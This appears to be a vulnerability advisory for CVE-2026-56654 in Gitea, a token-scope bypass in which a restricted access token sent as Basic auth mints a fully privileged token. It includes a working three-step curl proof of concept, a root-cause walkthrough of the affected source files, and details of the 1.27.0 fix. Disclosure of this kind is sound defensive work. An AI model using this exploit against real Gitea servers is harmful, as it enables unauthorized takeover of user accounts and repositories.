highCVE-2026-56654Jul 21, 2026

CVE-2026-56654: Gitea Privilege Escalation via Access Token Scope Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A flaw in Gitea's API lets an attacker use any restricted Personal Access Token to mint a new fully-privileged token, bypassing the password-only guard without ever knowing the account password.

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.27.0
Fixed in1.27.0

The problem

Gitea's POST /users/{username}/tokens endpoint is guarded by reqBasicOrRevProxyAuth, which is meant to allow only real password-based logins. However, when a token is submitted as Authorization: Basic base64(<token>:x-oauth-basic), the Basic auth handler validates it and returns the user, causing the auth group to record AuthedMethod="basic". IsBasicAuth is then set to true, fooling the guard into passing the request through.

Once past the guard, CreateAccessToken applies no scope ceiling. It creates the new token with whatever scope the attacker requests, regardless of the caller's actual token scope. An attacker holding a scoped-down CI token (e.g. write:user) can therefore generate an all-scoped token and gain full account access without knowing the user's password.

Proof of concept

A working proof-of-concept for CVE-2026-56654 in code.gitea.io/gitea, with the exact payload below.

bash
# BASE64 encode "<restricted_token>:x-oauth-basic" and send as Basic auth.
# Replace GITEA_URL, USERNAME, and RESTRICTED_TOKEN with real values.

RESTRICTED_TOKEN="<your_write_user_scoped_token>"
USERNAME="victim"
GITEA_URL="https://gitea.example.com"

# Step 1 - confirm the restricted token is blocked from repo scope
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: token ${RESTRICTED_TOKEN}" \
  "${GITEA_URL}/api/v1/repos/search"
# Expect: 403

# Step 2 - exploit: pass the token as Basic-auth username with password x-oauth-basic
# Basic.Verify() validates the token, sets AuthedMethod="basic", IsBasicAuth=true.
# CreateAccessToken then creates the new token with scope "all" - no ceiling enforced.
curl -s -X POST \
  -u "${RESTRICTED_TOKEN}:x-oauth-basic" \
  -H "Content-Type: application/json" \
  -d '{"name":"escalated","scopes":["all"]}' \
  "${GITEA_URL}/api/v1/users/${USERNAME}/tokens"
# Expect: 201 Created with a new token carrying scope "all"

# Step 3 - confirm the escalated token reaches repo endpoints
ESCALATED_TOKEN="<token from step 2 response>"
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: token ${ESCALATED_TOKEN}" \
  "${GITEA_URL}/api/v1/repos/search"
# Expect: 200 OK (was 403 with the original token)

The root cause is a mislabeling in the auth pipeline. Basic.Verify() in services/auth/basic.go detects the x-oauth-basic password sentinel and validates the token credential, but the containing group.Verify() in services/auth/group.go records AuthedMethod as the method's own name, "basic", not "access_token". AuthShared in routers/common/auth.go then computes IsBasicAuth = (AuthedMethod == "basic"), which is true even for a token-based call.

This is CWE-287 (Improper Authentication).

The second flaw compounds the first: CreateAccessToken in routers/api/v1/user/app.go normalizes and stores the caller-supplied scope without comparing it against the calling token's own ApiTokenScope. The fix in commit de4b8277 and PR #38406 corrects reqBasicOrRevProxyAuth to check AuthedMethod explicitly against the "basic" method constant rather than relying on IsBasicAuth, and adds a scope-ceiling check inside CreateAccessToken so the new token's scope can never exceed the caller's.

The fix

Upgrade Gitea to v1.27.0 or later. The fix shipped in PR #38406 (commit de4b8277e9cb576f2315fb03b5ab6478b42a1d31 and f69e15afe7496cc62e96dab244629c69eb31a7bf). Two changes were made: reqBasicOrRevProxyAuth was tightened to verify the actual auth method rather than trusting the IsBasicAuth flag, and CreateAccessToken now enforces a scope ceiling so no new token can exceed the calling token's privileges.

There is no workaround for pre-1.27.0 instances short of disabling the token-creation API endpoint.

Reported by AdamKorcz and ohxorud-dev.

References: [1][2][3][4][5][6]

Related research